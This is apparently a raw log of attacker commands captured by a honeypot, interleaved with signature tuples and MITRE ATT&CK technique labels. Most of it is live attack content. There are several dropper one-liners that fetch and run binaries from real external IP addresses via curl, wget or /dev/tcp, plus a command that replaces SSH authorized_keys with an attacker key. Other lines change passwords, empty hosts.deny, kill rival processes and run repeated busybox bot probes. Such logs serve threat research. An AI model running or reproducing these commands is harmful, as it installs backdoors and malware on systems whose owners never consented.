bhBoLYeduL/mS8e9EzIRpcdP4KmvnYc6fgEXFx5hO4WCvafuSMeiGzcLosFG+qC+lZsyZwMNFwhqNYWdu6P0T8ahBTkavcZP5b++lIw5ZgASEgBwMYWfoaLnUMWhHi4co81I5KC8m5UyYgANFgV+OoCCvqfuSMeiHzELosJO+qO9n5s1Yh4SFAlqNYWdu6n0RtmhGTIFosBJ+qe2loMzYQERAwRnLYeft7/mTs+9GjEYqcFO5aK4jIA7fgITGh5iMIGCtqfuSMeiGDALp8BQ46ehnYIzfgEWEQpmM4ScuLHgSdmhGDYFosFO+qC1moUyYQcDEghiLYSZvr/gStmhHjURpcdP4KGvmIItYgMVDQFnLYKYtafkT8OkCzQcvcVN4r++mYYtZQAZFQBhN4aMvqPlUMOjBTgevc5N7qe/nYY7cAETEh5oOpubub/mTM2lGzEZotdG+qO+lJsxYwANEgViOYOcvqDiXsanBTIZptlP4r+6lI81YAESFhBoLYeduL/lR8K9Hjodo8ZM7LG7m5sxYwgNEQBoLYSdvKviTsagHCAfpNlJ4r++m4UtYQURGQZgMoWbr6DlSdmiHjYFqsNQ4KC1moUyYwIDEgdhLYedu7/nUMajHzodo8ZK7LG7m5sxYwYNEgVkLYeZuqviTsajHiAfpNlM56ehnYMzfgEZFQBhMoKMt7/mT869GjUbvcVN7au5nIQwaBAXFB5nNZudu6H6T8WqETYbosZN9KC9nJs0YB4aGx5iN4SWuaHlTsezHzcFocRI+qC6n5s2YAoVEwFkMFNV/Vsj/j8mSG+hOAxnJ6tWEZy3sFKWWK1lcCw3; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/479yYlJJdb && /tmp/479yYlJJdb bhBoLYeduL/mS8e9EzIRpcdP4KmvnYc6fgEXFx5hO4WCvafuSMeiGzcLosFG+qC+lZsyZwMNFwhqNYWdu6P0T8ahBTkavcZP5b++lIw5ZgASEgBwMYWfoaLnUMWhHi4co81I5KC8m5UyYgANFgV+OoCCvqfuSMeiHzELosJO+qO9n5s1Yh4SFAlqNYWdu6n0RtmhGTIFosBJ+qe2loMzYQERAwRnLYeft7/mTs+9GjEYqcFO5aK4jIA7fgITGh5iMIGCtqfuSMeiGDALp8BQ46ehnYIzfgEWEQpmM4ScuLHgSdmhGDYFosFO+qC1moUyYQcDEghiLYSZvr/gStmhHjURpcdP4KGvmIItYgMVDQFnLYKYtafkT8OkCzQcvcVN4r++mYYtZQAZFQBhN4aMvqPlUMOjBTgevc5N7qe/nYY7cAETEh5oOpubub/mTM2lGzEZotdG+qO+lJsxYwANEgViOYOcvqDiXsanBTIZptlP4r+6lI81YAESFhBoLYeduL/lR8K9Hjodo8ZM7LG7m5sxYwgNEQBoLYSdvKviTsagHCAfpNlJ4r++m4UtYQURGQZgMoWbr6DlSdmiHjYFqsNQ4KC1moUyYwIDEgdhLYedu7/nUMajHzodo8ZK7LG7m5sxYwYNEgVkLYeZuqviTsajHiAfpNlM56ehnYMzfgEZFQBhMoKMt7/mT869GjUbvcVN7au5nIQwaBAXFB5nNZudu6H6T8WqETYbosZN9KC9nJs0YB4aGx5iN4SWuaHlTsezHzcFocRI+qC6n5s2YAoVEwFkMFNV/Vsj/j8mSG+hOAxnJ6tWEZy3sFKWWK1lcCw3" &


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QWBQP


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JDSXX


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PELMD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XBRIA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GNLBH


rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

df -h | head -n 2 | awk 'FNR == 2 {print $2;}'


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UPYMT

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RLBZK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AMWGX


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls', 'echo | cat -n')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


/bin/busybox cat /proc/self/exe || cat /proc/self/exe

('sh', 'shell', 'enable', 'system', 'ping ; sh', 'nan', '/bin/busybox cat || cat')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EEURW


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PMTGF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VLAXP


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HRZRE


./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LKINV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CSEXO


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RDCCA

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'df -h | head -n | awk { print ; }')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JWZOW


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NMYWG


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AXNUM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox THNRJ


('./ ; dd if || while ; do echo ; done || cat ;',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XDZTS


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JIBDV

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VDNBB

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OVULR

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZVGGD

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cat ; /bin/busybox', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo ; done', 'tftp ; wget ; /bin/busybox', '/bin/busybox', 'rm ; exit', '/bin/busybox', 'cat ; /bin/busybox', '/bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', '/bin/busybox')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1070 Indicator Removal
T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ALWWK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CDUGJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GJOBF


cat /bin/echo||while read i; do echo $i; done < /proc/self/exe;

('sh', 'shell', 'enable', 'cat || while ; do echo ; done ;')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TFGBQ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PTEYO

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WWSVL


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XPEKA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OPSUN


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MEKAT


nohup $SHELL -c "curl http://8.217.250.82:60148/linux -o /tmp/GhdM6gs6HY; if [ ! -f /tmp/GhdM6gs6HY ]; then wget http://8.217.250.82:60148/linux -O /tmp/GhdM6gs6HY; fi; if [ ! -f /tmp/GhdM6gs6HY ]; then exec 6<>/dev/tcp/8.217.250.82/60148 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/GhdM6gs6HY && chmod +x /tmp/GhdM6gs6HY && /tmp/GhdM6gs6HY 3C1fujmmXzmlvzxWuC66WDenoTxevyCwQD+gpiNcvTCmVj+rpz1fvDioXzupvzxfsS65WT6/pTVUvjC5Wj+xoDxZpjO7QDylpiNdsTq+XjylqC1fvTCmXD+ivztepjG+XzenoTxdviC5Wz2/oz9dpja6QDymqDdYuDG8Vi2loiNfuzSmXzulvzxeujq+XjygpS1cuDOmXT6/oz9bpje4VDuhoD5ZqDS/QDqnvzpcpjG/WDenoTxdviCwQDyiqSNcvi65Xzurpz1fvDmoWj6/oD5XpjG9WyOgpD9UvjC5Xj2xoD9bpjiwQD+jpyNavjq+XjyjoC1cuDOmWzu/oz9WpjK7XjenoTxfvCC5Vj+/oDhfpjS8QD+kpDdYuDG8Xi2lpiNZvi65VzW/oDxfsja4Xz6msTxcui66XDu/pTRAujC6VDuhoD1dqDG/XyOjoDlAuy65Xjmrpz1fvDioWjq/pjtAuTS4QDqjqzteuTCxTjmjvzxXui65XTq/oDlesja4Xz6psTtfpjG+XiOjoD9AujO8VDuhoD1aqDS/QDqnvzpcpjG/WDenoTxdviC8WSOjpT5AujKwQDyjoTdYuDG8Xy2goz1AvTWmVzi/oDtUvjC5WjyxqSNcuTemXDihvzVcsja4XzmpsTlZpjK7WCOgpiNZvDq+Xjylpi1fujWmVjW/oz9YpjS+VDuhoD9fqDG5WSOgpDtAsTSmWjyrpz1fuzKoWjq/ozlbpjG4WyOgpD9UvjC5XTyxoDhapjimXzmhvzxfvjq+XjyhqC1avy66Wj+/oDtepjK5VjenoTxesXm22aybJLe76IKL; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/GhdM6gs6HY && /tmp/GhdM6gs6HY 3C1fujmmXzmlvzxWuC66WDenoTxevyCwQD+gpiNcvTCmVj+rpz1fvDioXzupvzxfsS65WT6/pTVUvjC5Wj+xoDxZpjO7QDylpiNdsTq+XjylqC1fvTCmXD+ivztepjG+XzenoTxdviC5Wz2/oz9dpja6QDymqDdYuDG8Vi2loiNfuzSmXzulvzxeujq+XjygpS1cuDOmXT6/oz9bpje4VDuhoD5ZqDS/QDqnvzpcpjG/WDenoTxdviCwQDyiqSNcvi65Xzurpz1fvDmoWj6/oD5XpjG9WyOgpD9UvjC5Xj2xoD9bpjiwQD+jpyNavjq+XjyjoC1cuDOmWzu/oz9WpjK7XjenoTxfvCC5Vj+/oDhfpjS8QD+kpDdYuDG8Xi2lpiNZvi65VzW/oDxfsja4Xz6msTxcui66XDu/pTRAujC6VDuhoD1dqDG/XyOjoDlAuy65Xjmrpz1fvDioWjq/pjtAuTS4QDqjqzteuTCxTjmjvzxXui65XTq/oDlesja4Xz6psTtfpjG+XiOjoD9AujO8VDuhoD1aqDS/QDqnvzpcpjG/WDenoTxdviC8WSOjpT5AujKwQDyjoTdYuDG8Xy2goz1AvTWmVzi/oDtUvjC5WjyxqSNcuTemXDihvzVcsja4XzmpsTlZpjK7WCOgpiNZvDq+Xjylpi1fujWmVjW/oz9YpjS+VDuhoD9fqDG5WSOgpDtAsTSmWjyrpz1fuzKoWjq/ozlbpjG4WyOgpD9UvjC5XTyxoDhapjimXzmhvzxfvjq+XjyhqC1avy66Wj+/oDtepjK5VjenoTxesXm22aybJLe76IKL" &

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'echo && cat', '>', 'o')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZTHYV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CRPUO


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QJHZZ


cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a

('cat | grep | cut -f2 -d | uniq -c ; uname -a',)

T1082 System Information Discovery
T1087 Account Discovery


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EWFDH


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GBNPA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SOMDB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZPUID


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FMTGA


./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TYUJP

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SXTQC


nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/poznr48NCM; if [ ! -f /tmp/poznr48NCM ]; then wget http://129.144.180.26:60107/linux -O /tmp/poznr48NCM; fi; if [ ! -f /tmp/poznr48NCM ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/poznr48NCM && chmod +x /tmp/poznr48NCM && /tmp/poznr48NCM eypy7CjH0nzYaZo88Hw6ePgjnmTKY9fPNPN+PhgHMnrsKMDfZNptmiXofzZ25iObZcRj0sU09nIwAAY7fvA6zstj2WiEIfpgMn/6KJxs22bW1iLseDsOGDt98TTO3WjcbJsj/W4xfP08nWjEa9bYKPB/MAAGO376OsTXY8RumCvmfzB95iOTZNBk1ccq82ozDhg7fvA0x9FixGueKP5+MXz9Mptu2nzSxjT7fCQHDzxw9CrH1WLKbZkh5nw0fOYkknLbZNDMLPJ7PgIWPn/sKMLdfNtshCD6fzp4+COaaMpqy8Qr+mQ4Bxg4e/sgwNVj2mSKJPlgMXj4PJht2XzXxSP4fDoHBjtq8yrAy2fecpkr5nwxePIkmm3ZYMXHKPNkPAQYPHnsLMTfZNptnivoeDFg+SGScttq0Ngo8X4wAAY7fvo6zstg22SEIPt+Ln/9IJBq2mPUwDrzezIYBTtk9jTA1GjcbJsj8G40eeYlnHLbZtXYK/BzMAAGO3vxOsfRfNhunzz5eC578CicbNtj0NYu9WQ4BQAke/U0wdFo3GybJv9uMn/5PJ5rxGTd2Cv1cDwGBzp54ivE1Xzfb4Qg+nwud/oonGzbYNTWK/N9JAcDPGT7LtjRY9BqmiP7fCB/+iaEbthny8Qq9mQ7BgEwfPIrx9xy3muEJf5gN3nmI5Jr0GTVxyn1ajsEAiR48C/Y3WTEaJIo/n4xevgynmvEYNbANPN/MhgHOH/4LMbUYtx8kjz5fTdg/ySEbdpl38Aq83oyFgA6ZPMsw8tj2G+EK/50Nn75IZMqiYoD2EU/B8YvzUKXQegPX1BncyxV2rPCwcCDHHJv; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/poznr48NCM && /tmp/poznr48NCM eypy7CjH0nzYaZo88Hw6ePgjnmTKY9fPNPN+PhgHMnrsKMDfZNptmiXofzZ25iObZcRj0sU09nIwAAY7fvA6zstj2WiEIfpgMn/6KJxs22bW1iLseDsOGDt98TTO3WjcbJsj/W4xfP08nWjEa9bYKPB/MAAGO376OsTXY8RumCvmfzB95iOTZNBk1ccq82ozDhg7fvA0x9FixGueKP5+MXz9Mptu2nzSxjT7fCQHDzxw9CrH1WLKbZkh5nw0fOYkknLbZNDMLPJ7PgIWPn/sKMLdfNtshCD6fzp4+COaaMpqy8Qr+mQ4Bxg4e/sgwNVj2mSKJPlgMXj4PJht2XzXxSP4fDoHBjtq8yrAy2fecpkr5nwxePIkmm3ZYMXHKPNkPAQYPHnsLMTfZNptnivoeDFg+SGScttq0Ngo8X4wAAY7fvo6zstg22SEIPt+Ln/9IJBq2mPUwDrzezIYBTtk9jTA1GjcbJsj8G40eeYlnHLbZtXYK/BzMAAGO3vxOsfRfNhunzz5eC578CicbNtj0NYu9WQ4BQAke/U0wdFo3GybJv9uMn/5PJ5rxGTd2Cv1cDwGBzp54ivE1Xzfb4Qg+nwud/oonGzbYNTWK/N9JAcDPGT7LtjRY9BqmiP7fCB/+iaEbthny8Qq9mQ7BgEwfPIrx9xy3muEJf5gN3nmI5Jr0GTVxyn1ajsEAiR48C/Y3WTEaJIo/n4xevgynmvEYNbANPN/MhgHOH/4LMbUYtx8kjz5fTdg/ySEbdpl38Aq83oyFgA6ZPMsw8tj2G+EK/50Nn75IZMqiYoD2EU/B8YvzUKXQegPX1BncyxV2rPCwcCDHHJv" &

nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/K94a7mBZcy; if [ ! -f /tmp/K94a7mBZcy ]; then wget http://129.144.180.26:60107/linux -O /tmp/K94a7mBZcy; fi; if [ ! -f /tmp/K94a7mBZcy ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/K94a7mBZcy && chmod +x /tmp/K94a7mBZcy && /tmp/K94a7mBZcy eypy7CjH0nzYaZo88Hw6ePgjnmTKY9fPNPN+PhgHMnrsKMDfZNptmiXofzZ25iObZcRj0sU09nIwAAY7fvA6zstj2WiEIfpgMn/6KJxs22bW1iLseDsOGDt98TTO3WjcbJsj/W4xfP08nWjEa9bYKPB/MAAGO376OsTXY8RumCvmfzB95iOTZNBk1ccq82ozDhg7fvA0x9FixGueKP5+MXz9Mptu2nzSxjT7fCQHDzxw9CrH1WLKbZkh5nw0fOYkknLbZNDMLPJ7PgIWPn/sKMLdfNtshCD6fzp4+COaaMpqy8Qr+mQ4Bxg4e/sgwNVj2mSKJPlgMXj4PJht2XzXxSP4fDoHBjtq8yrAy2fecpkr5nwxePIkmm3ZYMXHKPNkPAQYPHnsLMTfZNptnivoeDFg+SGScttq0Ngo8X4wAAY7fvo6zstg22SEIPt+Ln/9IJBq2mPUwDrzezIYBTtk9jTA1GjcbJsj8G40eeYlnHLbZtXYK/BzMAAGO3vxOsfRfNhunzz5eC578CicbNtj0NYu9WQ4BQAke/U0wdFo3GybJv9uMn/5PJ5rxGTd2Cv1cDwGBzp54ivE1Xzfb4Qg+nwud/oonGzbYNTWK/N9JAcDPGT7LtjRY9BqmiP7fCB/+iaEbthny8Qq9mQ7BgEwfPIrx9xy3muEJf5gN3nmI5Jr0GTVxyn1ajsEAiR48C/Y3WTEaJIo/n4xevgynmvEYNbANPN/MhgHOH/4LMbUYtx8kjz5fTdg/ySEbdpl38Aq83oyFgA6ZPMsw8tj2G+EK/50Nn75IZMqiYoD2EU/B8YvzUKXQegPX1BncyxV2rPCwcCDHHJv; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/K94a7mBZcy && /tmp/K94a7mBZcy eypy7CjH0nzYaZo88Hw6ePgjnmTKY9fPNPN+PhgHMnrsKMDfZNptmiXofzZ25iObZcRj0sU09nIwAAY7fvA6zstj2WiEIfpgMn/6KJxs22bW1iLseDsOGDt98TTO3WjcbJsj/W4xfP08nWjEa9bYKPB/MAAGO376OsTXY8RumCvmfzB95iOTZNBk1ccq82ozDhg7fvA0x9FixGueKP5+MXz9Mptu2nzSxjT7fCQHDzxw9CrH1WLKbZkh5nw0fOYkknLbZNDMLPJ7PgIWPn/sKMLdfNtshCD6fzp4+COaaMpqy8Qr+mQ4Bxg4e/sgwNVj2mSKJPlgMXj4PJht2XzXxSP4fDoHBjtq8yrAy2fecpkr5nwxePIkmm3ZYMXHKPNkPAQYPHnsLMTfZNptnivoeDFg+SGScttq0Ngo8X4wAAY7fvo6zstg22SEIPt+Ln/9IJBq2mPUwDrzezIYBTtk9jTA1GjcbJsj8G40eeYlnHLbZtXYK/BzMAAGO3vxOsfRfNhunzz5eC578CicbNtj0NYu9WQ4BQAke/U0wdFo3GybJv9uMn/5PJ5rxGTd2Cv1cDwGBzp54ivE1Xzfb4Qg+nwud/oonGzbYNTWK/N9JAcDPGT7LtjRY9BqmiP7fCB/+iaEbthny8Qq9mQ7BgEwfPIrx9xy3muEJf5gN3nmI5Jr0GTVxyn1ajsEAiR48C/Y3WTEaJIo/n4xevgynmvEYNbANPN/MhgHOH/4LMbUYtx8kjz5fTdg/ySEbdpl38Aq83oyFgA6ZPMsw8tj2G+EK/50Nn75IZMqiYoD2EU/B8YvzUKXQegPX1BncyxV2rPCwcCDHHJv" &

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'chmod', '/tmp/swPw5lKYIm', 'cp', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'nan', 'exit', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'chmod', '/tmp/etImvoGDIk', 'cp')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YACBA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IVRHR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FLAMJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XCYWD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SVVZC


nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/m8Yj3Pu9pp; if [ ! -f /tmp/m8Yj3Pu9pp ]; then wget http://129.144.180.26:60107/linux -O /tmp/m8Yj3Pu9pp; fi; if [ ! -f /tmp/m8Yj3Pu9pp ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/m8Yj3Pu9pp && chmod +x /tmp/m8Yj3Pu9pp && /tmp/m8Yj3Pu9pp hc2j8ynAchpRpxT6MOwXv18Yc98g9rLV6vbcpe8i23MAXbsf9DDzEbFFH3XWPvCj1Or12qHvJNZ5GFW4EfAg9hKnVx11wCH1psP29dmo9yDfdxdFvRLsMvYWp1cYbd8j8Kjb9PXZoOEh3HYAVLsR7DLwF6dUGXPUJvGj3PXk1bzzId5tH1O5C/sx+BO5VBx3ziT2vN/38sOg8T7feh9fvxXzM/YFuF0cbd8l8LzZ8Orfp/Qq2HMfUbkF+i7wF7tLH3TePvKq1/L03KPzMNZtHFS+C/M59wu8Xxhz3yL5stnz6t+h9z7ccx1Lvxf4NvIUvV0Octwk76Df8erVpO8i3nQUU7kU9jfiHadXH3rAIfSnw/b03aj3IN9xG0W9Euwy8ROnVBtwwCXxqNv09dmh4SHccwBSuQv7NuwUsFMUdd4h8aLN9fbZvPMi220WU6cR+jr0FbhRHmPaJ++g2ffq3KD2Ptl3FFO5FPA14hG+Sxd6wCLxocP28tek8SHccQ5dpxfzOOwWvksZdNQm8aPZ8+Tco/E+2nIAVL4Q7DHzFLNTHnLfKeGqw/b12rzzINltH1S9H/Qw8xG9RRh3wCLzpcP29sOl9CrYcx9XugX2N+wXulIAe90+8KXb/vLdo/IhznAWS78L8zj2C7hcG3nYIPCj2eT12bzwKMB2GUu7FPI69BW4Vxpj2ifvoNn36t+k7yHdchRTuRT2MuIUu1QAct8+8KLV6vzXpPEh3XQOXacX8zjsF7pVAHLbIvuk3fX127L5Pt9wGUu+E+wx8hKzUx5y3ihk+vEDBE+/hAiSX39avXobbar8oRTCYxegq7I=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/m8Yj3Pu9pp && /tmp/m8Yj3Pu9pp hc2j8ynAchpRpxT6MOwXv18Yc98g9rLV6vbcpe8i23MAXbsf9DDzEbFFH3XWPvCj1Or12qHvJNZ5GFW4EfAg9hKnVx11wCH1psP29dmo9yDfdxdFvRLsMvYWp1cYbd8j8Kjb9PXZoOEh3HYAVLsR7DLwF6dUGXPUJvGj3PXk1bzzId5tH1O5C/sx+BO5VBx3ziT2vN/38sOg8T7feh9fvxXzM/YFuF0cbd8l8LzZ8Orfp/Qq2HMfUbkF+i7wF7tLH3TePvKq1/L03KPzMNZtHFS+C/M59wu8Xxhz3yL5stnz6t+h9z7ccx1Lvxf4NvIUvV0Octwk76Df8erVpO8i3nQUU7kU9jfiHadXH3rAIfSnw/b03aj3IN9xG0W9Euwy8ROnVBtwwCXxqNv09dmh4SHccwBSuQv7NuwUsFMUdd4h8aLN9fbZvPMi220WU6cR+jr0FbhRHmPaJ++g2ffq3KD2Ptl3FFO5FPA14hG+Sxd6wCLxocP28tek8SHccQ5dpxfzOOwWvksZdNQm8aPZ8+Tco/E+2nIAVL4Q7DHzFLNTHnLfKeGqw/b12rzzINltH1S9H/Qw8xG9RRh3wCLzpcP29sOl9CrYcx9XugX2N+wXulIAe90+8KXb/vLdo/IhznAWS78L8zj2C7hcG3nYIPCj2eT12bzwKMB2GUu7FPI69BW4Vxpj2ifvoNn36t+k7yHdchRTuRT2MuIUu1QAct8+8KLV6vzXpPEh3XQOXacX8zjsF7pVAHLbIvuk3fX127L5Pt9wGUu+E+wx8hKzUx5y3ihk+vEDBE+/hAiSX39avXobbar8oRTCYxegq7I=" &#UPX!

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&', '>', 'nan')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PRETE


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XPXJJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DCUGU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OFQIR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RWOBU


